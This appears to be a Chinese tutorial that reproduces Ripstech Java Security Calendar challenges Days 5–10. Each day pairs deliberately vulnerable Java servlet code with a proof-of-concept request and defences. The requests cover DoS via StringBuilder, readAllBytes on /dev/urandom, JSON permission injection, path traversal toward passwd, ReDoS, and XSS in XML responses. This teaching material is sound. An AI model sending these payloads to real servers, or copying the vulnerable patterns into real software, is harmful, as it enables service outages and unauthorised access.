Ripstech Java Security 2019 Calendar复现系列(二)
字数 1500 2025-08-25 22:59:02
Java安全漏洞复现与分析教学文档
目录
- Day5: StringBuilder导致的拒绝服务攻击
- Day6: readAllBytes()导致的拒绝服务攻击
- Day7: JSON注入导致的权限提升
- Day8: 路径遍历导致的未授权文件下载
- Day9: 正则表达式拒绝服务(ReDoS)
- Day10: XML响应中的XSS漏洞
Day5: StringBuilder导致的拒绝服务攻击
漏洞原理
StringBuilder在Java中默认使用大小为16的数组初始化,当数据超过当前容量时,数组大小会加倍。攻击者可以通过构造大量数据导致内存耗尽。
关键代码分析
public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
Request request = new Request();
request.toString(req); // 可控参数传入StringBuilder
}
攻击方式
- 构造大量POST参数(默认Tomcat限制10000个)
- 使用大参数值(默认Tomcat限制2MB)
- 通过StringBuilder内部数组扩容机制放大内存消耗
复现步骤
- 环境搭建:IDEA + maven-archetype-webapp
- 构造恶意请求:
import requests
url = "http://localhost:8080/Day5_war_exploded/day5"
delim = "A"*1800000 # 1.8MB数据
data = "delim=" + delim
for i in range(1, 300):
data += f"&A{i}=test_the_DoS"
header = {'content-type': "application/x-www-form-urlencoded"}
res = requests.post(url=url, data=data, headers=header)
防御措施
- 限制输入参数数量和大小
- 使用固定大小的StringBuffer
- 配置合理的JVM堆内存参数
Day6: readAllBytes()导致的拒绝服务攻击
漏洞原理
Files.readAllBytes()会读取整个文件到内存,当读取特殊文件(如/dev/urandom)时会导致无限读取,耗尽内存。
关键代码分析
Path path = Paths.get(request.getParameter("url")); // 用户可控输入
byte[] bytes = Files.readAllBytes(path); // 危险操作
攻击方式
- 指定特殊设备文件路径(如/dev/urandom)
- 导致无限读取,内存耗尽
复现步骤
- 发送恶意请求:
POST /day6 HTTP/1.1
url=/dev/urandom
防御措施
- 验证文件路径是否合法
- 限制读取文件大小
- 使用流式读取代替全量读取
Day7: JSON注入导致的权限提升
漏洞原理
未对用户输入的JSON字段进行过滤,导致可以注入额外字段,覆盖原有权限设置。
关键代码分析
// 存储JSON
String json = "{\"username\":\"" + username + "\",\"permission\":\"none\"}";
// 读取JSON时只取前两个字段
parser.nextToken(); // username字段
parser.nextToken(); // username值
String username = parser.getValueAsString();
parser.nextToken(); // permission字段
parser.nextToken(); // permission值
String permission = parser.getValueAsString();
攻击方式
- 构造恶意username参数:
username=xxx","permission":"all
- 生成JSON变为:
{
"username":"xxx",
"permission":"all",
"permission":"none"
}
- 读取时获取到"all"权限
复现步骤
- 发送恶意请求:
POST /day7 HTTP/1.1
username=xxx%22%2C%22permission%22%3A%22all
防御措施
- 使用JSON库直接构建对象而非字符串拼接
- 对所有输入进行严格验证
- 使用白名单验证权限值
Day8: 路径遍历导致的未授权文件下载
漏洞原理
路径过滤不完整,仅过滤"../"但未过滤"..",导致可以访问上级目录。
关键代码分析
String getName(String input) {
return input.replace("../", ""); // 不完全过滤
}
String filename = getName(request.getParameter("icons")) +
getName(request.getParameter("filename"));
Path toDir = Paths.get("/var/myapp/data/");
Files.copy(toDir.resolve(filename), response.getOutputStream());
攻击方式
- 构造参数:
icons=..&filename=passwd
- 最终路径变为:
/var/myapp/data/../passwd
复现步骤
- 发送恶意请求:
GET /day8?icons=..&filename=hacked.txt HTTP/1.1
防御措施
- 使用规范化路径API:
Path.normalize() - 检查规范化后路径是否在允许范围内
- 使用白名单限制文件类型
Day9: 正则表达式拒绝服务(ReDoS)
漏洞原理
攻击者控制正则表达式和待匹配字符串,构造恶意正则导致指数级时间复杂度的匹配操作。
关键代码分析
Pattern pattern = Pattern.compile("^(" + whitelist + ")$");
Matcher matcher = pattern.matcher(value);
return matcher.matches();
攻击方式
- 构造恶意正则和字符串:
whitelist=([a-z])+.)+[A-Z]([a-z]&value=aaaaaaaaaaaaaaaaaaaaaaa
- 导致大量回溯,CPU耗尽
复现步骤
- 发送恶意请求:
POST /day9 HTTP/1.1
whitelist=([a-z])%2B.)%2B[A-Z]([a-z]&value=aaaaaaaaaaaaaaaaaaaaaaa
防御措施
- 避免用户提供正则表达式
- 使用超时机制限制匹配时间
- 预编译安全正则表达式
Day10: XML响应中的XSS漏洞
漏洞原理
XML响应中未正确处理用户输入,导致可以注入XHTML命名空间的script标签。
关键代码分析
@ResponseBody
@RequestMapping(value = "/day10", produces = "text/xml")
public String day10(@RequestParam String name) {
return "<response><text>Hello " + name + "</text></response>";
}
攻击方式
- 注入CDATA结束标记和XHTML script标签:
name=test]]><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script><![CDATA[
复现步骤
- 发送恶意请求:
GET /day10?name=test%5D%5D%3E%3Csomething%3Ascript%09xmlns%3Asomething%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml%22%3Ealert(1)%3C%2Fsomething%3Ascript%3E%3C!%5BCDATA%5B HTTP/1.1
防御措施
- 对所有输出进行XML编码
- 设置正确的Content-Type头
- 使用CSP策略限制脚本执行
总结
这些案例展示了Java Web应用中常见的安全问题,包括:
- 资源耗尽型攻击(DoS)
- 注入型攻击(JSON/XML/路径)
- 权限提升
- XSS攻击
防御的关键在于:
- 永远不要信任用户输入
- 使用安全的API和编码实践
- 实施深度防御策略
- 进行全面的安全测试